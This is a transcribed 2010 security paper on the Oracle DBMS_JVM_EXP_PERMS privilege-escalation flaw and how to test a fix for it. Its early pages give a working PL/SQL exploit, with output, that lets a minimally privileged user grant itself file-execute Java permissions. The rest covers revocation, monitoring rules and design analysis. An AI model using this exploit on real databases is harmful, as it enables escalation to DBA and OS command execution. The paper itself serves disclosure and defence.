Paul M. Wright Last updated Sunday 25 th February For

Transcription

1 Securing Java In Oracle Paul M. Wright Last updated Sunday 25 th February 2010 For Introduction...1 The DBMS_JVM_EXP_PERMS vulnerability...1 How to test revocation of PUBLIC grant on DBMS_JVM_EXP_PERMS?...3 Analysis of the generic vulnerability and long term solution...7 Conclusion...8 References...8 Appendix A...9 Introduction New Oracle Java security research was published at the February 2010 Blackhat DC conference 1, by David Litchfield, which shows how to escalate privilege from the lowest CREATE SESSION privilege to DBA via the DBMS_JVM_EXP_PERMS package associated with the Aurora JVM built into the Oracle DB. Exploit code affecting 11g and 10g has recently been published on a number of blogs such as Red Database Security 2, however there has been code for this issue available on Metalink since the 5 th of March 2009 in Doc ID: In the absence of a patch from Oracle this paper provides information on how to fix these vulnerabilities which occur in both 10g and 11g. Crucially this paper shows how to test the fixes required to secure Java privileges in Oracle, so that the availability of production applications can be shown to be unaffected by those security fixes. The DBMS_JVM_EXP_PERMS vulnerability At the centre of this new Oracle/Java security research is the vulnerability that any user with just CREATE SESSION can import their own Java permissions into Oracle using the DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS procedure which has execute granted to PUBLIC by default. Before discussing solutions, it should be noted that the DBMS_JVM_EXP_PERMS vulnerability affects fully patched This was not made clear in the bugtraq advisory. So any user can grant themselves any Java privilege (and then escalate to DBA and SYSDBA). Let s confirm that with some code Securing Java In Oracle ~ Paul M. Wright ~ 1

2 SQL> SELECT * FROM V$VERSION; BANNER Oracle Database 10g Enterprise Edition Release Prod PL/SQL Release Production CORE Production TNS for Linux: Version Production NLSRTL Version Production SQL> select comments from dba_registry_history; COMMENTS Upgraded from PSU rows selected. SQL> CREATE USER privtest IDENTIFIED BY privtest; User created. SQL> GRANT CREATE SESSION TO privtest; Grant succeeded. SQL> conn privtest/privtest@db10g; Connected. SQL> SELECT grantee_name FROM user_java_policy WHERE NAME='<<ALL FILES>>'; no rows selected SQL> DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / DECLARE * ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.lang.securityexception: policy table update java.lang.runtimepermission, loadlibrary.* ORA-06512: at "SYS.DBMS_JVM_EXP_PERMS", line 189 ORA-06512: at line 8 SQL> SELECT grantee_name FROM user_java_policy WHERE NAME='<<ALL FILES>>'; GRANTEE_NAME PRIVTEST So privtest user with just CREATE SESSION has been able to grant themselves execute on all OS files on No need to create any directories to exploit this. Securing Java In Oracle ~ Paul M. Wright ~ 2

3 The way that Java privileges are meant to be granted is via the dbms_java.grant_permission procedure which fails below as the privtest user does not hold the JAVA_ADMIN role required to do this, as it has not been granted the DBA role (which in turn holds the JAVA_ADMIN role). SQL> call dbms_java.grant_permission('privtest','sys:java.io.filepermission','<<all FILES>>', 'execute'); call dbms_java.grant_permission('privtest','sys:java.io.filepermission','<<all FILES>>', 'execute') * ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.lang.securityexception: policy table update SYS:java.io.FilePermission, <<ALL FILES>> In other words only DBAs are meant to be able to grant Java privileges in Oracle as below. The DBMS_JVM_EXP_PERMS vulnerability means any user can do it. SQL> CONN SYSTEM/MANAGER@DB10G Connected. SQL> call dbms_java.grant_permission('scott','sys:java.io.filepermission','<<all FILES>>', 'write'); Call completed. Restricting Java privileges administration to just DBAs is for a good reason, because these privileges can be used to run OS commands as the Oracle user as discussed in the rest of NGS s Blackhat presentation and in the Author s JAVA_ADMIN to OSDBA paper 4 back in August Therefore the ability to grant oneself arbitrary Java privileges via executing DBMS_JVM_EXP_PERMS should be revoked from PUBLIC as long as this action does not cause a greater overall risk to the application s availability and performance? No point in having a secured application that does not work anymore! How to test revocation of PUBLIC grant on DBMS_JVM_EXP_PERMS? CONN SYSTEM/MANAGER; REVOKE EXECUTE ON SYS.DBMS_JVM_EXP_PERMS FROM PUBLIC; What would be the effect of revoking this PUBLIC execute ~ will it break current functionality? How can we be sure that the privilege revocation does not break a dependency either in the default code produced by Oracle or by additional development code produced internally? 4 Securing Java In Oracle ~ Paul M. Wright ~ 3

4 Figure 1 Dependencies from DBMS_JVM_EXP_PERMS calling other packages Figure 2 Dependencies from other packages calling DBMS_JVM_EXP_PERMS We can see from the previous two figures that DBMS_JVM_EXP_PERMS calls a number of packages but is not called by other packages in the second screenshot according to DBA_DEPENDENCIES, which can also be confirmed using Securing Java In Oracle ~ Paul M. Wright ~ 4

5 UTLDTREE as follows.. SQL> exec deptree_fill('package','sys','dbms_jvm_exp_perms'); PL/SQL procedure successfully completed. SQL> SELECT * FROM IDEPTREE; DEPENDENCIES PACKAGE BODY SYS.DBMS_JVM_EXP_PERMS SYNONYM PUBLIC.DBMS_JVM_EXP_PERMS PACKAGE SYS.DBMS_JVM_EXP_PERMS -- As an additional check we can all easily read through the source and find out what the package does as the package is not wrapped (see command below). SQL> select text from dba_source where name='dbms_jvm_exp_perms'; TEXT package DBMS_JVM_EXP_PERMS as TYPE temp_rec is record ( kind dba_java_policy.kind%type, grantee dba_java_policy.grantee%type, SNIP So from the above metadata held in the DB it appears that DBMS_JVM_EXP_PERMS is not used, but it would be better to be able to see for real if the package is actually used by other packages within Oracle and it s many software add-ons in real time. Let s write a Hedgehog (HH) rule to monitor DBMS_JVM_EXP_PERMS. Object= SYS.DBMS_JVM_EXP_PERMS Note that the above rule only triggers when DBMS_JVM_EXP_PERMS is successfully executed. This rule is good for profiling the use of the package, but to alert to failed attempts to exploit the package, HH must alert on the text of the SQL statement as follows. Statement matches DBMS_JVM_EXP_PERMS This second Statement rule will alert even if the executing statement fails due to lack of correct privilege for instance. A way to test this rule works is as follows. This will trigger the second rule to alert but not the first. Select DBMS_JVM_EXP_PERMS from dual; So let s run the exploit code and see what Hedgehog picks up in terms of dependencies called. Securing Java In Oracle ~ Paul M. Wright ~ 5

6 Figure 3 Dependencies called by DBMS_JVM_EXP_PERMS when executed Additionally and very usefully Hedgehog will alert if the DBMS_JVM_EXP_PERMS package is called as a dependency by ANY OTHER package. I have had this DBMS_JVM_EXP_PERMS rule monitoring for a number months on a busy system and there have been no calls made to this package during that time, even during schema and metadata datapump activity (see Appendix A). Basic Datapump functionality still works despite revoking PUBLIC execute on DBMS_JVM_EXP_PERMS. Of course the same process of monitoring calls to the package should be carried out first on your own system using Hedgehog or similar monitoring setup. This same process of Application Monitoring can be used for the 11g packages which are also the subject of NGS s research, namely DBMS_JAVA and DBMS_JAVA_TEST. So same again, monitor all activity on the packages using Hedgehog rules, to measure what accounts needs them, if any, and then grant the required privileges to those users and revoke from PUBLIC. This is low-risk, high-security change management which speeds up the mitigation process. Securing Java In Oracle ~ Paul M. Wright ~ 6

7 Analysis of the generic vulnerability and long term solution DBMS_JVM_EXP_PERMS is part of the functionality of the DB for importing and exporting privileges from one DB to another. There are some interesting questions about this package. 1. Why is DBMS_JVM_EXP_PERMS not properly documented? 2. Why is the source to DBMS_JVM_EXP_PERMS not wrapped? 3. Why is PUBLIC execute granted on DBMS_JVM_EXP_PERMS in the first place? DBMS_JVM_EXP_PERMS exemplifies the actual generic problem underlying the majority of privilege escalations in the Oracle Database i.e. execute grants on SYS packages to PUBLIC. SELECT Count(*) FROM dba_tab_privs WHERE grantee='public' AND owner='sys'; for 10g for 11g -- problem is getting worse! PUBLIC executes are supposedly a simple and well understood problem, so why is it getting worse. Is this simply a case of not implementing the Secure Development Life Cycle (SDLC) i.e. developers not considering security at the design stage? Partly, but that would be an oversimplification. I think the main reason for the original and continued existence of PUBLIC executes such as DBMS_JVM_EXP_PERMS, is that the historic design of the DB means that roles are disabled via Definer s Rights. Therefore the only way for developers to pass privileges between packages is to EITHER individually grant all privileges to all accounts involved in a chain of dependencies OR simply grant execute to PUBLIC. PUBLIC is the most convenient and in some cases the only practical method of passing on privilege to: 1. Groups of schema owning users that can pass the privilege on again via definer s rights 2. Users that do not exist yet but will do in the future So, in addition to SDLC awareness training the developers have to be given the appropriate tools to create a secure privilege structure. What needs to be done is the functionality provided by the PUBLIC role needs to be made more fine-grained so that it is not just a case of granting all or nothing. In a better database, customisable Definer s Rights Roles 5 that allow inheritance of Role based privileges through dependencies between packages would replace PUBLIC and allow it to be used for what it was originally intended i.e. a collection of harmless privileges that any user could have. So for instance we could create a Datapump Definer s Role that would enable grantees to offer these privileges in packages within their schema to other users via Definer s rights. 5 Securing Java In Oracle ~ Paul M. Wright ~ 7

8 Of course the threat posed by PUBLIC being the only way to inherit Definer s rights en-masse is exacerbated by the lack of an easy to use DENY statement. The combinatory effect of making PUBLIC the only convenient way to manage Definer s privilege dependencies, along with the inability to easily DENY access to a specific user/role should in the Author s opinion be at the core of an improvement strategy for Oracle Database Security. Especially when the database offers such functional Java APIs to access OS utilities such as orapwd, thus bypassing all DB access control. See future paper CREATE SESSION to SYSDBA at Conclusion This paper has discussed the implications of the DBMS_JVM_EXP_PERMS vulnerability and shown how to verify that the fix for the DBMS_JVM_EXP_PERMS vulnerability will not affect the workings of your Oracle database by using a DAMS to monitor related activity. Database Application Monitoring System (DAMS) enable the system owners to understand how the DB/Application works and to monitor the effect of future changes before they are implemented. This speeds up the SDLC, release processes and lowers risk of making individual changes. This same process can be used for reducing the risk of virtually all security fixes (as well as non-security fixes). This paper went on to analyse the underlying generic problem of PUBLIC executes on SYS packages and how Oracle could use Definer s Rights Roles to reduce the chance of similar vulnerabilities in the future. Securing Java In Oracle is the subject of a presentation by the Author at the ISSD Conference in London on the 21 st of May Updates to this article will be available at 6. Any questions regarding the paper contact paulmwright@oraclesecurity.com. References (November 2009 Edition of SCENE) Securing Java In Oracle ~ Paul M. Wright ~ 8

9 Appendix A SQL> SELECT * FROM DBA_TAB_PRIVS WHERE TABLE_NAME='DBMS_JVM_EXP_PERMS'; no rows selected SQL> SET SERVEROUTPUT ON SIZE SQL> DECLARE 2 l_dp_handle NUMBER; 3 l_last_job_state VARCHAR2(30) := 'UNDEFINED'; 4 l_job_state VARCHAR2(30) := 'UNDEFINED'; 5 l_sts KU$_STATUS; 6 BEGIN 7 l_dp_handle := DBMS_DATAPUMP.open( 8 operation => 'EXPORT', 9 job_mode => 'SCHEMA', 10 remote_link => NULL, 11 job_name => 'EMP_EXPORT996', 12 version => 'LATEST'); DBMS_DATAPUMP.add_file( 15 handle => l_dp_handle, 16 filename => 'SCOTT23.dmp', 17 directory => 'DATA_ARCHIVE_DIR2'); DBMS_DATAPUMP.add_file( 20 handle => l_dp_handle, 21 filename => 'SCOTT23.log', 22 directory => 'DATA_ARCHIVE_DIR2', 23 filetype => DBMS_DATAPUMP.KU$_FILE_TYPE_LOG_FILE); DBMS_DATAPUMP.metadata_filter( 26 handle => l_dp_handle, 27 name => 'SCHEMA_EXPR', 28 value => '=''SCOTT'''); DBMS_DATAPUMP.start_job(l_dp_handle); DBMS_DATAPUMP.detach(l_dp_handle); 33 END; 34 / PL/SQL procedure successfully completed. --(make sure the output files don't already exist). --This was also tested with a full metadata export. (Note this code was put together mainly from this web site Important Caveat: The above paper was written in the current absence of patching advice from Oracle Corp and is intended only as guidance. Please consult with your own support channels in the first instance. Additionally the above paper does not represent my past or current employers in any shape or form. Securing Java In Oracle ~ Paul M. Wright ~ 9